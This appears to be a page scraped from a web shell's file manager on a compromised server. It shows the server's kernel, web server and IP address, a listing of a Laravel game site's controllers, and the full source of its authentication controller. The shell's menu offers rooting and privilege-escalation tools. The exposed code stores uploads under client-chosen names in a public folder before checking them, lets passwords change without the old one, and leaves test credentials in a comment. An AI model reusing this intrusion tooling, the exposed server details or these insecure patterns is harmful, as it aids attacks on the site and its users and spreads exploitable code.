Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.144.237.87
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
app /
Http /
Controllers /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-xr-x
2018-12-04 21:08
AjaxController.php
23.61
KB
-rw-r--r--
2021-05-31 12:36
AuthController.php
20.44
KB
-rw-r--r--
2022-03-17 06:38
ChatsController.php
48.85
KB
-rw-r--r--
2023-02-17 19:15
Controller.php
361
B
-rw-r--r--
2021-02-09 19:47
Cpayeer.php
4.13
KB
-rw-r--r--
2021-03-29 14:58
HomeController.php
500
B
-rw-r--r--
2021-05-06 16:58
RestController.php
19.57
KB
-rw-r--r--
2023-05-03 17:49
Save
Rename
<?php namespace App\Http\Controllers; use Endroid\QrCode\ErrorCorrectionLevel; use Endroid\QrCode\LabelAlignment; use Endroid\QrCode\QrCode; use Endroid\QrCode\Response\QrCodeResponse; use Illuminate\Routing\Controller as BaseController; use App\Http\Controllers\Controller; use DB; use Illuminate\Http\Request; use Illuminate\Mail\Message; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Facades\Input; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Password; use Illuminate\Support\Str; use Illuminate\Foundation\Auth\ResetsPasswords; use Illuminate\Contracts\Auth\PasswordBroker; use Illuminate\Validation\Factory; use Illuminate\Validation; use RedirectsUsers; use App\User; use Session; use Image; use Spatie\Browsershot\Browsershot; class AuthController extends BaseController { public function showIndex(Request $request) { return view('home',[ ]); } public function showLogin() { if (\Auth::check() AND Session::get('save_string')) { return Redirect::to('/save/?t='.Session::get('save_string')); } // show the form return view('login'); } public function doLogin(Request $request) { // validate the info, create rules for the inputs $rules = array( 'email' => 'required|email', // make sure the email is an actual email 'password' => 'required|min:3' // password can only be alphanumeric and has to be greater than 3 characters ); // run the validation rules on the inputs from the form $validator = Validator::make(Input::all(), $rules); // if the validator fails, redirect back to the form if ($validator->fails()) { return view('login', array('error'=>'Wrong email or password')); /*return Redirect::to('login') ->withErrors($validator) // send back all errors to the login form ->withInput(Input::except('password')); // send back the input (not the password) so that we can repopulate the form*/ } else { //testpass2@example.com //rtyRTY@#$%^&*()-+=_[]{}:;./,|\ // create our user data for the authentication $userdata = array( 'email' => Input::get('email'), 'password' => Input::get('password') ); // attempt to do the login if (Auth::attempt($userdata)) { return ''; /* if (Session::get('save_string')) { return Redirect::to('/save/?t='.Session::get('save_string')); } else { return Redirect::to('/'); }*/ } else { // validation not successful, send back to form return view('login', array('error'=>'Wrong email or password')); } } } /** * Display the form to request a password reset link. * * @return \Illuminate\Http\Response */ public function showLinkRequestForm() { return view('reset-password', array('error'=>'','message'=>'')); } /** * Send a reset link to the given user. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse */ public function sendResetLinkEmail(Request $request) { $error = $message = ''; //\Illuminate\Validation\validate($request, ['email' => 'required|email']); // We will send the password reset link to this user. Once we have attempted // to send the link, we will examine the response then see the message we // need to show to the user. Finally, we'll send out a proper response. $response = $this->broker()->sendResetLink( $request->only('email') ); $message = 'We have sent an email with instructions'; /* if ($response == Password::RESET_LINK_SENT) { $message = $this->sendResetLinkResponse($response); } else { $error = $this->sendResetLinkFailedResponse($request, $response); }*/ return view('reset-password', array('error'=>$error, 'message'=>$message)); } /** * Get the response for a successful password reset link. * * @param string $response * @return \Illuminate\Http\RedirectResponse */ protected function sendResetLinkResponse($response) { return back()->with('status', trans($response)); } /** * Get the response for a failed password reset link. * * @param \Illuminate\Http\Request * @param string $response * @return \Illuminate\Http\RedirectResponse */ protected function sendResetLinkFailedResponse(Request $request, $response) { return back()->withErrors( ['forgot' => trans($response)] ); } public function showRegister() { if (\Auth::check()) { return Redirect::to('/'); } return view('register', array('errors'=>'', 'message'=>'', 'name'=>'', 'email'=>'')); } public function doRegister() { if (\Auth::check()) { return Redirect::to('/'); } $message = ''; $arError = array(); if (!Input::get('name')) $arError[] = '"Name" field is required'; if (!Input::get('email')) $arError[] = '"Email" field is required'; if (!Input::get('password')) $arError[] = '"Password" field is required'; if (!Input::get('password_confirm')) $arError[] = '"Password confirm" field is required'; if (Input::get('password') AND Input::get('password_confirm') AND Input::get('password')!=Input::get('password_confirm')) $arError[] = 'Fields "Password" and "Password confirm" mismatch'; if (Input::get('email')) { $usr = DB::table('users')->where('email', Input::get('email'))->get(); if (!empty($usr) AND count($usr)>0) $arError[] = 'This "Email" already exists'; } if (empty($arError)) { $user_id = DB::table('users')->insertGetId([ 'name' => Input::get('name'), 'email' => Input::get('email'), 'password' => bcrypt(Input::get('password')), 'confirmed' => 'Y', 'active' => 'Y', 'created_at' => date("Y-m-d H:i:s"), ]); if (intval($user_id)>0) { $message = 'You were successfully registered'; } } $user_qr_id = sprintf('%012d', $user_id); $prefix = 'u'; $qrCode = new QrCode('https://unitednationsplay.com/'.$prefix.'/' . $user_qr_id); $qrCode->setSize(30); $qrCode->setMargin(1); $qrCode->setWriterByName('svg'); $qrCode->setEncoding('UTF-8'); $qrCode->setErrorCorrectionLevel(ErrorCorrectionLevel::LOW()); $qrCode->setForegroundColor(['r' => 255, 'g' => 255, 'b' => 255, 'a' => 0]); $qrCode->setBackgroundColor(['r' => 0, 'g' => 0, 'b' => 0, 'a' => 255]); $qrCode->setValidateResult(false); $qrCode->setRoundBlockSize(true, QrCode::ROUND_BLOCK_SIZE_MODE_MARGIN); $qrCode->setRoundBlockSize(true, QrCode::ROUND_BLOCK_SIZE_MODE_ENLARGE); $qrCode->setRoundBlockSize(true, QrCode::ROUND_BLOCK_SIZE_MODE_SHRINK); $qrCode->setWriterOptions(['exclude_xml_declaration' => true]); $qrCode->writeFile(app()->request->server->get('DOCUMENT_ROOT') . '/uploads/unpip/'.$prefix . $user_qr_id . '.svg'); $qrcode = "/uploads/unpip/".$prefix . $user_qr_id . ".svg"; Browsershot::url('https://unitednationsplay.com/unpip?id=' . $user_id)->timeout(120)->select('#big-unpip')->hideBackground()->addChromiumArguments(['no-sandbox', 'disable-setuid-sandbox'])->save(app()->request->server->get('DOCUMENT_ROOT') . '/uploads/share/u'.sprintf('%012d', $user_id).'.png'); $prefix = 'f'; $qrCode = new QrCode('https://unitednationsplay.com/'.$prefix.'/' . $user_qr_id); $qrCode->setSize(30); $qrCode->setMargin(1); $qrCode->setWriterByName('svg'); $qrCode->setEncoding('UTF-8'); $qrCode->setErrorCorrectionLevel(ErrorCorrectionLevel::LOW()); $qrCode->setForegroundColor(['r' => 255, 'g' => 255, 'b' => 0, 'a' => 0]); $qrCode->setBackgroundColor(['r' => 0, 'g' => 0, 'b' => 0, 'a' => 255]); $qrCode->setValidateResult(false); $qrCode->setRoundBlockSize(true, QrCode::ROUND_BLOCK_SIZE_MODE_MARGIN); $qrCode->setRoundBlockSize(true, QrCode::ROUND_BLOCK_SIZE_MODE_ENLARGE); $qrCode->setRoundBlockSize(true, QrCode::ROUND_BLOCK_SIZE_MODE_SHRINK); $qrCode->setWriterOptions(['exclude_xml_declaration' => true]); $qrCode->writeFile(app()->request->server->get('DOCUMENT_ROOT') . '/uploads/unpip/'.$prefix . $user_qr_id . '.svg'); $qrcode = "/uploads/unpip/".$prefix . $user_qr_id . ".svg"; Browsershot::url('https://unitednationsplay.com/unpip?id=' . $user_id.'&prefix=f')->timeout(120)->select('#big-unpip')->hideBackground()->addChromiumArguments(['no-sandbox', 'disable-setuid-sandbox'])->save(app()->request->server->get('DOCUMENT_ROOT') . '/uploads/share/f'.sprintf('%012d', $user_id).'.png'); // show the form return view('register', array('errors'=>$arError, 'message'=>$message, 'name'=>Input::get('name'), 'email'=>Input::get('email'))); } public function indexProfile(Request $request) { if (!\Auth::check()) { return Redirect::to('/'); } $user_photo = '/img/AboveNavPanel/Foto4Nologin.svg'; if (\Auth::user()->foto) $user_photo = '/uploads/fotos/' . \Auth::user()->id . '/' . \Auth::user()->foto; $is_recommender_border = ''; $user_recommenders = DB::table('user_recommenders')->where('user_id', \Auth::user()->id)->get(); if (!empty($user_recommenders) AND count($user_recommenders)>0) { $followers = count($user_recommenders); if ($followers<1000) $bonus = 10; elseif ($followers>=1000 AND $followers<100000) $bonus = 20; elseif ($followers>=100000 AND $followers<10000000) $bonus = 30; elseif ($followers>=10000000 AND $followers<1000000000) $bonus = 40; elseif ($followers>=1000000000) $bonus = 50; $is_recommender_border = 1; } return view('profile-index', [ 'user_id' => sprintf('%012d', \Auth::user()->id), 'user_name' => \Auth::user()->name, 'user_photo' => $user_photo, 'is_recommender_border' => $is_recommender_border ]); } public function userProfile(Request $request) { if (!\Auth::check()) { return Redirect::to('/'); } $user_photo = '/img/AboveNavPanel/Foto4Nologin.svg'; if ($request->get('id')) { $current_user = DB::table('users')->where('id', $request->get('id'))->get(); if (!empty($current_user[0])) { $is_recommender_border = ''; $is_recommender = 1; $followers = $bonus = 0; if ($current_user[0]->foto) $user_photo = '/uploads/fotos/' . $current_user[0]->id . '/' . $current_user[0]->foto; $user_country = '-'; $user_rank = '-'; $country = DB::table('country')->where('id', $current_user[0]->country)->get(); if (!empty($country)) { $user_country = $country[0]->name; } $pos = 1; $users_top_list = DB::table('users')->where('id','!=',1111111111)->orderBy('HW_all', 'DESC')->get(); if (!empty($users_top_list)) { foreach ($users_top_list as $lst) { if ($request->get('id')==$lst->id) $user_rank = $pos; $pos++; } } $user_recommenders = DB::table('user_recommenders')->where('user_id', $request->get('id'))->get(); if (!empty($user_recommenders) AND count($user_recommenders)>0) { $followers = count($user_recommenders); if ($followers<1000) $bonus = 10; elseif ($followers>=1000 AND $followers<100000) $bonus = 20; elseif ($followers>=100000 AND $followers<10000000) $bonus = 30; elseif ($followers>=10000000 AND $followers<1000000000) $bonus = 40; elseif ($followers>=1000000000) $bonus = 50; $is_recommender_border = 1; } $user_follower = DB::table('user_recommenders')->where('follower_id', $request->get('id'))->get(); if (!empty($user_follower) AND count($user_follower)>0) { $is_recommender = ''; } $user_follower = DB::table('user_recommenders')->where('follower_id', \Auth::user()->id)->get(); if (!empty($user_follower) AND count($user_follower)>0) { $is_recommender = ''; } return view('profile-user', [ 'user_id' => sprintf('%012d', $current_user[0]->id), 'user' => $current_user[0], 'is_recommender' => $is_recommender, 'is_recommender_border' => $is_recommender_border, 'followers' => $followers, 'bonus' => $bonus, 'user_country' => $user_country, 'user_rank' => $user_rank, 'user_photo' => $user_photo ]); } } else { return view('login'); } } public function helpProfile() { return view('profile-help'); } public function privacyProfile() { return view('profile-privacy'); } public function termsProfile() { return view('profile-terms'); } public function eulaProfile() { return view('profile-eula'); } public function dataAgreementProfile() { return view('profile-data-agreement'); } public function cookieNoticeProfile() { return view('profile-cookie'); } public function editProfile() { if (!\Auth::check()) { return Redirect::to('/'); } $arError = $arErrorPas = array(); $user_country = $name = $email = $card_number = $message = $pas_message = ''; $countries = DB::table('country')->orderBy('name', 'asc')->get(); if (Input::get('save_profile')) { if (!Input::get('profile-name')) $arError[] = '"Name" field is required'; if (!Input::get('country')) $arError[] = '"Country" field is required'; if (!empty(app()->request->files->get('profile_foto'))) { $profile_foto = app()->request->files->get('profile_foto'); $name = $profile_foto->getClientOriginalName(); //.'.'.$profile_foto->getClientOriginalExtension(); $profile_foto->move(public_path().'/uploads/fotos/'.\Auth::user()->id, $name); $imagesize = getimagesize(public_path().'/uploads/fotos/'.\Auth::user()->id.'/'.$name); if (filesize($filename)>2097152) { unlink(public_path().'/uploads/fotos/'.\Auth::user()->id.'/'.$name); $arError[] = 'You can upload only square jpg or png files. Max file resolution 1024x1024, size 2mb.'; } else { if ($imagesize[0]==$imagesize[1]) { DB::table('users')->where('id', \Auth::user()->id)->update([ 'foto' => $name, 'updated_at' => date("Y-m-d H:i:s"), ]); } else { unlink(public_path().'/uploads/fotos/'.\Auth::user()->id.'/'.$name); $arError[] = 'You can upload only square jpg or png files. Max file resolution 1024x1024, size 2mb.'; } } } if (empty($arError)) { DB::table('users')->where('id', \Auth::user()->id)->update([ 'name' => Input::get('profile-name'), 'real_name' => Input::get('profile-name'), 'country' => Input::get('country'), 'card' => Input::get('profile-bank'), 'updated_at' => date("Y-m-d H:i:s"), ]); $message = 'Profile successfully changed'; } $prefix = 'u'; $user_recommender = DB::table('user_recommenders')->where('user_id', \Auth::user()->id)->limit(1)->get(); if (!empty($user_recommender[0])) $prefix = 'f'; Browsershot::url('https://unitednationsplay.com/unpip?id=' . \Auth::user()->id)->timeout(120)->select('#big-unpip')->hideBackground()->addChromiumArguments(['no-sandbox', 'disable-setuid-sandbox'])->save(app()->request->server->get('DOCUMENT_ROOT') . '/uploads/share/'.$prefix.sprintf('%012d', \Auth::user()->id).'.png'); } if (Input::get('save_password')) { //if (!Input::get('password_old')) $arErrorPas[] = '"Old Password" field is required'; if (!Input::get('password')) $arErrorPas[] = '"Password" field is required'; if (!Input::get('password_confirm')) $arErrorPas[] = '"Password confirm" field is required'; if (Input::get('password') AND Input::get('password_confirm') AND Input::get('password')!=Input::get('password_confirm')) $arErrorPas[] = 'Fields "Password" and "Password confirm" mismatch'; //$usr = DB::table('users')->where('id', \Auth::user()->id)->get(); //if ($usr[0]->password!=bcrypt(Input::get('password_old'))) $arErrorPas[] = 'Wrong "Old Password"'; if (empty($arErrorPas)) { DB::table('users')->where('id', \Auth::user()->id)->update([ 'password' => bcrypt(Input::get('password')), 'updated_at' => date("Y-m-d H:i:s"), ]); $pas_message = 'Password successfully changed'; } } $usr = DB::table('users')->where('id', \Auth::user()->id)->get(); $user_country = $usr[0]->country; $name = $usr[0]->name; $email = $usr[0]->email; $card_number = $usr[0]->card; // show the form return view('profile', [ 'countries' => $countries, 'user_country' => $user_country, 'name' => $name, 'email' => $email, 'card_number' => $card_number, 'errors' => $arError, 'message' => $message, 'pas_errors' => $arErrorPas, 'pas_message' => $pas_message, ]); } /** * Get the password reset validation rules. * * @return array */ protected function rules() { return [ 'token' => 'required', 'email' => 'required|email', 'password' => 'required|confirmed|min:6', ]; } /** * Get the password reset validation error messages. * * @return array */ protected function validationErrorMessages() { return []; } /** * Get the password reset credentials from the request. * * @param \Illuminate\Http\Request $request * @return array */ protected function credentials(Request $request) { return $request->only( 'email', 'password', 'password_confirmation', 'token' ); } /** * Reset the given user's password. * * @param \Illuminate\Contracts\Auth\CanResetPassword $user * @param string $password * @return void */ protected function resetPassword($user, $password) { $user->forceFill([ 'password' => bcrypt($password), 'remember_token' => Str::random(60), ])->save(); $this->guard()->login($user); } /** * Get the broker to be used during password reset. * * @return \Illuminate\Contracts\Auth\PasswordBroker */ public function broker() { return Password::broker(); } /** * Get the guard to be used during password reset. * * @return \Illuminate\Contracts\Auth\StatefulGuard */ protected function guard() { return Auth::guard(); } public function doLogout() { Auth::logout(); //return 1; return Redirect::to('/'); } }